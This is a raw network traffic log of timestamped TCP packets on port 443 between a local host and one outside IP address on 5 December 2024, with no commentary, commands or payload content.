Dec 5, 2024 15:04:33.986274958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.986398935 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.986423016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.986464977 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.992063999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.992084026 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.992158890 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.992177963 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.992216110 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.997199059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.997221947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.997268915 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.997275114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:33.997308016 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:33.997329950 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.002995014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.003012896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.003195047 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.003201008 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.003241062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.008367062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.008388042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.008445978 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.008469105 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.008512974 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.014034033 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.014051914 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.014110088 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.014123917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.014168024 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.019917011 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.019944906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.019982100 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.019988060 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.020014048 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.020026922 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.025022984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.025048018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.025106907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.025115967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.025150061 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.025171041 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.178416014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.178442001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.178567886 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.178594112 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.178638935 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.184216022 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.184236050 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.184294939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.184314966 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.184351921 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.189232111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.189250946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.189306974 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.189328909 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.189369917 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.195178032 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.195218086 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.195282936 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.195305109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.195332050 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.195355892 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.200454950 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.200473070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.200526953 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.200547934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.200588942 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.206207991 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.206223965 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.206310987 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.206334114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.206388950 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.212224960 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.212246895 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.212282896 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.212291002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.212337017 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.218177080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.218208075 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.218261003 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.218277931 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.218305111 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.218322992 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.370861053 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.370887041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.371010065 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.371021986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.371066093 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.376538992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.376557112 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.376619101 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.376625061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.376665115 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.382770061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.382787943 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.382864952 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.382870913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.382913113 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.387537956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.387553930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.387622118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.387628078 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.387669086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.393506050 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.393524885 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.393606901 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.393613100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.393649101 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.399017096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.399034977 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.399153948 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.399159908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.399223089 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.406701088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.406717062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.406783104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.406790018 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.406826019 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.410393000 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.410408974 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.410475969 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.410481930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.410521984 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.563709974 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.563733101 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.563824892 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.563833952 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.563882113 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.569470882 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.569488049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.569546938 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.569551945 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.569582939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.575107098 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.575122118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.575180054 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.575186014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.575227976 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.580272913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.580287933 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.580338001 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.580343962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.580383062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.586033106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.586050987 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.586108923 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.586116076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.586150885 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.591504097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.591517925 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.591572046 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.591578007 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.591617107 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.597105026 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.597119093 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.597178936 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.597184896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.597223043 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.602695942 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.602711916 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.602768898 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.602775097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.602811098 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.756125927 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.756148100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.756367922 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.756393909 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.756439924 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.761884928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.761913061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.762018919 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.762026072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.762106895 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.766978979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.767003059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.767051935 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.767077923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.767096043 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.767110109 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.772655010 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.772674084 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.772742033 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.772763968 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.772804976 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.778258085 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.778280020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.778321981 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.778335094 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.778354883 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.778373003 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.783853054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.783874035 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.783957005 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.783977032 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.784017086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.789324045 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.789340019 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.789412975 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.789433956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.789479971 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.795243979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.795264006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.795335054 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.795350075 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.795397043 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.947861910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.947892904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.948009014 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.948039055 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.948085070 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.953733921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.953749895 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.953815937 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.953840017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.953879118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.959403992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.959419012 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.959479094 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.959503889 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.959543943 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.965188026 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.965209961 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.965270996 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.965296030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.965341091 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.970628977 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.970647097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.970730066 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.970746040 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.970782042 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.975688934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.975709915 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.975765944 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.975783110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.975817919 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.981614113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.981631994 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.981694937 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.981712103 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.981746912 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.987559080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.987579107 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.987643003 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:34.987663984 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:34.987694979 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.140552998 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.140588045 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.140703917 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.140742064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.140784025 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.147010088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.147038937 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.147120953 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.147161007 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.147207975 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.151531935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.151559114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.151613951 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.151633978 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.151671886 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.157376051 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.157398939 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.157455921 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.157484055 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.157525063 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.162961960 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.162985086 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.163043022 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.163065910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.163105011 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.168416977 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.168435097 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.168492079 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.168512106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.168567896 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.173943043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.173959017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.174012899 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.174031973 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.174065113 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.179661036 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.179677963 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.179733038 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.179752111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.179790020 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.332443953 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.332477093 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.332600117 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.332629919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.332673073 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.338176012 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.338196993 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.338274002 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.338290930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.338329077 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.344033957 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.344057083 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.344132900 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.344149113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.344194889 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.349737883 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.349770069 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.349809885 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.349828005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.349848032 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.349878073 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.355096102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.355112076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.355178118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.355200052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.355216026 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.355242968 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.360258102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.360285997 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.360327005 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.360351086 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.360366106 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.360388041 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.366354942 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.366388083 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.366425037 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.366442919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.366456032 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.366473913 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.370527983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.370574951 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.370603085 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.370619059 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.370632887 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.411223888 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.523734093 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.523762941 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.523833990 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.523861885 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.523902893 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.528805017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.528829098 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:35.528877020 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:35.528893948 CET	443	49906	104.21.71.43	192.168.2.6
